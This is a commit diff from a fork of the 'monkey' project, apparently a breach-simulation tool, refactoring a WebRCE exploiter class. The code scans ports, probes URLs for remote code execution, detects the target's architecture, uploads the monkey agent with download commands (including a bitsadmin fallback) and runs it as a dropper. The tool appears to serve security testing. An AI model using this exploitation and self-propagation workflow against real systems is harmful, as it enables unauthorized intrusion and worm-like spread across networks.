forked from p15670423/monkey
Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params
This commit is contained in:
parent
e3d286dbc0
commit
911404ef68
|
@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service
|
|||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
# Commands used to check if monkeys already exists
|
||||
# Command used to check if monkeys already exists
|
||||
LOOK_FOR_FILE = "ls %s"
|
||||
POWERSHELL_NOT_FOUND = "owershell is not recognized"
|
||||
# Constants used to refer to windows architectures( used in host.os['machine'])
|
||||
WIN_ARCH_32 = "32"
|
||||
WIN_ARCH_64 = "64"
|
||||
|
||||
|
||||
class WebRCE(HostExploiter):
|
||||
|
||||
def __init__(self, host, monkey_target_paths=None):
|
||||
def __init__(self, host, monkey_target_paths):
|
||||
"""
|
||||
:param host: Host that we'll attack
|
||||
:param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||
|
@ -35,7 +39,22 @@ class WebRCE(HostExploiter):
|
|||
|
||||
def exploit_host(self):
|
||||
"""
|
||||
Example workflow of the framework. Most likely you will have to override this method.
|
||||
Override this method to pass custom arguments to default_exploit_host
|
||||
:return: True if exploited, False otherwise
|
||||
"""
|
||||
return self.default_exploit_host()
|
||||
|
||||
def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None,
|
||||
stop_checking_urls=False, blind_exploit=False):
|
||||
"""
|
||||
Standard framework usage (call this method in exploit_host function):
|
||||
:param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
|
||||
it's file to the default destination path.
|
||||
:param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
|
||||
Command must have "monkey_path" and "http_path" format parameters.
|
||||
:param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
|
||||
:param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
|
||||
:param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
|
||||
:return: True if exploited and False otherwise.
|
||||
"""
|
||||
# Get open ports
|
||||
|
@ -43,27 +62,29 @@ class WebRCE(HostExploiter):
|
|||
if not ports:
|
||||
return False
|
||||
# Get urls to try to exploit
|
||||
urls = self.build_potential_urls(ports)
|
||||
urls = self.build_potential_urls(ports, url_extensions)
|
||||
vulnerable_urls = []
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
vulnerable_urls.append(url)
|
||||
if stop_checking_urls:
|
||||
break
|
||||
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
||||
|
||||
if not vulnerable_urls:
|
||||
return False
|
||||
|
||||
# Skip if monkey already exists and this option is given
|
||||
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
||||
if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True
|
||||
|
||||
# Check for targets architecture (if it's 32 or 64 bit)
|
||||
if not self.set_host_arch(vulnerable_urls[0]):
|
||||
if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]):
|
||||
return False
|
||||
|
||||
# Upload the right monkey to target
|
||||
data = self.upload_monkey(vulnerable_urls[0])
|
||||
data = self.upload_monkey(vulnerable_urls[0], upload_commands)
|
||||
|
||||
if data is not False and data['response'] is False:
|
||||
return False
|
||||
|
@ -73,7 +94,7 @@ class WebRCE(HostExploiter):
|
|||
return False
|
||||
|
||||
# Execute remote monkey
|
||||
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
|
||||
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -113,16 +134,16 @@ class WebRCE(HostExploiter):
|
|||
return True
|
||||
|
||||
def get_command(self, path, http_path, commands):
|
||||
try:
|
||||
if 'linux' in self.host.os['type']:
|
||||
command = commands['linux']
|
||||
else:
|
||||
command = commands['windows']
|
||||
# Format command
|
||||
try:
|
||||
command = command % {'monkey_path': path, 'http_path': http_path}
|
||||
except KeyError:
|
||||
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
|
||||
"Check upload_monkey function docs.")
|
||||
LOG.error("Provided command is missing/bad for this type of host! "
|
||||
"Check upload_monkey function docs before using custom monkey's upload commands.")
|
||||
return False
|
||||
return command
|
||||
|
||||
|
@ -193,9 +214,9 @@ class WebRCE(HostExploiter):
|
|||
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
||||
if resp:
|
||||
if "64-bit" in resp:
|
||||
return "64"
|
||||
return WIN_ARCH_64
|
||||
else:
|
||||
return "32"
|
||||
return WIN_ARCH_32
|
||||
else:
|
||||
return False
|
||||
|
||||
|
@ -280,7 +301,7 @@ class WebRCE(HostExploiter):
|
|||
|
||||
resp = self.exploit(url, command)
|
||||
|
||||
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
||||
resp = self.exploit(url, backup_command)
|
||||
|
@ -334,7 +355,7 @@ class WebRCE(HostExploiter):
|
|||
# Get monkey command line
|
||||
if dropper and path:
|
||||
# If dropper is chosen we try to move monkey to default location
|
||||
default_path = self.custom_to_dropper_path(path)
|
||||
default_path = self.get_default_dropper_path()
|
||||
if default_path is False:
|
||||
return False
|
||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
||||
|
@ -386,19 +407,21 @@ class WebRCE(HostExploiter):
|
|||
"custom dict of monkey's destination paths")
|
||||
return False
|
||||
|
||||
def custom_to_dropper_path(self, path):
|
||||
try:
|
||||
key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)]
|
||||
except KeyError:
|
||||
LOG.error("The path you used is not in monkey_target_paths array. Skipping")
|
||||
def get_default_dropper_path(self):
|
||||
"""
|
||||
Gets default dropper path for the host.
|
||||
:return: Default monkey's destination path for corresponding host.
|
||||
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
|
||||
"""
|
||||
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
|
||||
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
return False
|
||||
if key == 'linux':
|
||||
if self.host.os['type'] == 'linux':
|
||||
return self._config.dropper_target_path_linux
|
||||
elif key == 'win32':
|
||||
return self._config.dropper_target_path_win_32
|
||||
elif key == 'win64':
|
||||
if self.host.os['type'] == 'windows':
|
||||
try:
|
||||
if self.host.os['machine'] == WIN_ARCH_64:
|
||||
return self._config.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
|
||||
"custom dict of monkey's destination paths")
|
||||
return False
|
||||
except KeyError:
|
||||
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
return self._config.dropper_target_path_win_32
|
||||
|
|
Loading…
Reference in New Issue